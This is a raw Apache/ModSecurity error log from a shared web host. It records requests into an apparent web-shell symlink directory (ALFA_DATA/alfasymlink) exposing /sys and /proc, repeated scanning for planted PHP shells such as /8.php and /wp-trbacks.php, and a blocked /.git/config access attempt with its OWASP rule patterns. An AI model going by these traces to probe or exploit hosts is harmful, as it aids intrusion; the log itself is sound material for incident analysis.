[Sat Oct 24 15:48:54.930671 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.199.252.22:13230] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:59.744757 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 85.208.96.198:54682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/align
[Sat Oct 24 15:49:02.579107 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:02.942732 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:03.318115 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:03.320530 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.239.85.139:21888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/serial/new_id
[Sat Oct 24 15:49:03.684568 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:04.066769 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:04.428584 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:04.800203 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:05.216529 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:05.996908 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:06.363821 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:07.011494 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.194.226.74:45603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/remove
[Sat Oct 24 15:49:07.458844 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:08.233807 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:08.604921 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:08.987411 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:09.349576 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:09.350119 2026] [security2:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/init-notica.php"] [unique_id "at0LtWnPEtuFANQY3S6_SAAAAC0"]
[Sat Oct 24 15:49:09.350153 2026] [security2:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/init-notica.php"] [unique_id "at0LtWnPEtuFANQY3S6_SAAAAC0"]
[Sat Oct 24 15:49:10.135238 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:10.135810 2026] [security2:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/wp-trbacks.php"] [unique_id "at0LtmnPEtuFANQY3S6_SgAAAC0"]
[Sat Oct 24 15:49:10.135833 2026] [security2:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/wp-trbacks.php"] [unique_id "at0LtmnPEtuFANQY3S6_SgAAAC0"]
[Sat Oct 24 15:49:10.510723 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:10.899288 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:10.984078 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.213.85.234:65029] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:49:11.266374 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:11.652240 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:12.015209 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:12.039666 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.15:16574] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/validate
[Sat Oct 24 15:49:12.377113 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:12.748935 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:13.146726 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:13.508933 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:13.875834 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:14.258183 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:14.647321 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:15.009858 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:15.372660 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:15.747354 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:16.214427 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:16.657238 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:17.024840 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:17.389889 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:17.793811 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:18.156243 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:18.587473 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:18.588040 2026] [security2:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/8.php"] [unique_id "at0LvmnPEtuFANQY3S6_YAAAAC0"]
[Sat Oct 24 15:49:18.588066 2026] [security2:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/8.php"] [unique_id "at0LvmnPEtuFANQY3S6_YAAAAC0"]
[Sat Oct 24 15:49:18.985318 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:19.125201 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.147.80.137:2949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:49:19.362889 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:19.841484 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:20.246946 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:20.719535 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:21.090676 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:21.486937 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:21.885693 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:22.400402 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:22.802604 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:23.032309 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.80.185.200:24068] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:49:23.169827 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:23.692066 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:24.090543 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:24.453277 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:24.833493 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:25.200696 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:25.563596 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:25.932178 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:26.294248 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:26.445236 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.5:25694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/usersize
[Sat Oct 24 15:49:26.697522 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:27.105583 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:27.497055 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:27.862190 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:28.224391 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:28.596243 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:28.960276 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:29.322614 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:29.708947 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:30.075759 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:30.446912 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:30.819972 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:30.922350 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 18.204.89.56:31161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:49:31.186569 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:31.565296 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:31.966242 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:32.373145 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:32.796563 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:33.225924 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:35.366846 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.147.238.89:31938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:49:36.533263 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:39.217743 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:39.587371 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:40.010409 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:40.716084 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:41.109994 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:41.484765 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:41.882342 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 74.225.146.100:19851] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:43.054950 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:43.428002 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:43.859335 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:44.238246 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:44.610569 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:45.836840 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:46.234786 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:46.700219 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:47.064967 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:47.563693 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:47.977214 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:48.339513 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:48.744594 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:49.150312 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:49.732001 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:50.500028 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:51.233037 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:51.596391 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:51.979731 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:52.705307 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:53.186438 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:53.727748 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:54.118474 2026] [proxy_fcgi:error] [pid 2692917:tid 2692917] [client 74.225.146.100:15593] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:49:55.045654 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.196.118.6:62803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:49:59.132141 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.196.118.6:49435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:02.081436 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.16:23522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/trace
[Sat Oct 24 15:50:02.922344 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 54.225.81.20:42124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_generic/unbind
[Sat Oct 24 15:50:11.019686 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 35.171.117.160:36039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:14.954845 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 52.207.47.227:57749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/pci-stub/new_id
[Sat Oct 24 15:50:15.511038 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 185.191.171.6:26064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:23.195087 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.195.50.71:53385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:27.245863 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.222.85.38:7472] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:31.123664 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.24.149.244:60263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:34.958902 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.205.163.103:17742] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:40.820161 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.166.126.132:60346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:47.352437 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.211.148.239:15958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:51.117397 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.221.227.90:2396] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:50:54.457537 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.136.15.2:60492] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:50:55.956263 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 85.208.96.198:27570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sr_mod/sections/__ex_table
[Sat Oct 24 15:51:03.345500 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.40.168:36334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:51:20.583644 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 35.173.18.61:53786] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:51:23.738475 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.87.62.248:10973] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:51:31.137630 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.235.191.179:38082] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:51:35.348694 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.213.85.234:34166] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:51:41.619486 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.19:30078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/sanity_checks
[Sat Oct 24 15:51:43.159454 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.44.148.203:14669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:51:46.764254 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.74.37.180:34740] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0MUlQTwXU83R4GW_mXnAAAACg"]
[Sat Oct 24 15:51:46.764523 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.74.37.180:34740] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0MUlQTwXU83R4GW_mXnAAAACg"]
[Sat Oct 24 15:51:46.764771 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.74.37.180:34740] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0MUlQTwXU83R4GW_mXnAAAACg"]
[Sat Oct 24 15:51:46.765067 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.74.37.180:34740] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0MUlQTwXU83R4GW_mXnAAAACg"]
